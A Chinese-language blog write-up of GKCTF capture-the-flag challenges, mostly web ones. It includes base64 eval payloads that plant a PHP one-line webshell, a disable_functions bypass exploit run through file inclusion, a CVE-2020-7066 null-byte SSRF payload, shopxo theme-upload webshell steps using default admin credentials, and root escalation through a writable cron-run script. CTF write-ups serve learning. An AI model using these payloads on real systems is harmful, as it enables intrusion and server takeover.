GKCTF

早上起来看了一波GKCTF,搞了两小时出了两题MISC,卡第三题MISC了就没做吃饭去了,下午看了几眼WEB,由于作业压身,干脆就0AK了,还是自己太菜了。不过u1s1,这次题目感觉还是挺好的(至少自己复现的了wp??)。看了一下排行榜,不说了,APeng NB。

WEB还有三题没有复现,有空一定!

MISC

签到

不必多说。

Pokemon

VBA模拟器打开文件,根据提示走到103道上,看见草形状拿flag。

(吓死我了,还真以为要抓精灵练级打BOSS呢)

WEB

Check_In

上来直接上源码。

<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }
        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

PHP学问不够到家啊伤,强制执行的decode来自code的base64解码,我直接当成@Eval($_GET(‘Ginkgo’).decode(‘base64’))来解了,也不知道对不对。

构造payload拿phpinfo():

url?Ginkgo=cGhwaW5mbygpOw==

可以看到有很多disable_functions,版本7.3,在这里推测bypass(没做过,没经验)。

直接一句话木马一把梭:

url?Ginkgo=ZXZhbCgkX1BPU1RbJ29hdG1lYWwnXSk7

用牛逼的蚁剑搞一波:

可以找到readflag文件。

用的exp来自 https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php,作用是绕过disable_functions

pwn(“uname -a”)改成pwn(“/readflag”)即可。

上传到temp目录

进行文件包含。

url?Ginkgo=aW5jbHVkZSgnL3RtcC9leHAucGhwJyk7

cve版签到

怎么说,放了hint还是感觉挺简单的,已经把BUG类型给出来了(\0截断)。

In PHP versions 7.2.x below 7.2.29, 7.3.x below 7.3.16 and 7.4.x below 7.4.4, while using get_headers() with user-supplied URL, if the URL contains zero (\0) character, the URL will be silently truncated at it. This may cause some software to make incorrect assumptions about the target of the get_headers() and possibly send some information to a wrong server.

CVE-2020-7066

构造payloads,送回本机:

?url=http://127.0.0.1%00www.ctfhub.com

返回数组:

Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Mon, 25 May 2020 15:52:00 GMT
    [2] => Server: Apache/2.4.38 (Debian)
    [3] => X-Powered-By: PHP/7.3.15
    [4] => Tips: Host must be end with '123'
    [5] => Vary: Accept-Encoding
    [6] => Content-Length: 113
    [7] => Connection: close
    [8] => Content-Type: text/html; charset=UTF-8
)

提示123端口,才来一次:

?url=http://127.0.0.123%00www.ctfhub.com

拿到flag。

老八小超市儿

比赛的时候看这题没什么头绪,后来知道了shopxo模板渗透拿shell(所以是我搜索引擎玩的太菜了?没怎么想)。具体参考连接:

http://www.nctry.com/1660.html

后台登录连接:

url?admin.php

默认账号密码: admin shopox

在网站管理 -> 主题管理 -> 主题安装 -> 更多主题下载里面下载一个主题。

什么下载主题还要VIP还要钱?算了算了默认吧。

下载下来之后,在 default/__static__ 里面放一句话木马。

这里我出了一点问题:如果把文件先解压再压缩的话,成功上传文件后就会无法识别,不能覆盖原先的文件。正确的姿势是直接添加到压缩包里,不把他解压。

(暴露路径,写完赶紧删了,大哥们别日我)

上传后再用那牛逼的蚁剑,使用payload:

url/public/static/index/default/shell.php

成功getshell。

假flag,再看看hint:

提示要获得root权限,且这个日期有用处。

康康auto.sh文件:

这个文件大概就是每一分钟执行一次 /var/mail/makeflaghint.py文件。

沿着提示路径,顺藤摸瓜找一下文件:

直接访问root,提示没有权限。

可以得到信息,这个文件是root用户起的,且普通用户拥有读写文件,可以通过该文件进行越界访问。

已知这个文件是一分钟执行一次,于是就直接获取flag写到根目录下就行:

一分钟后拿flag。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇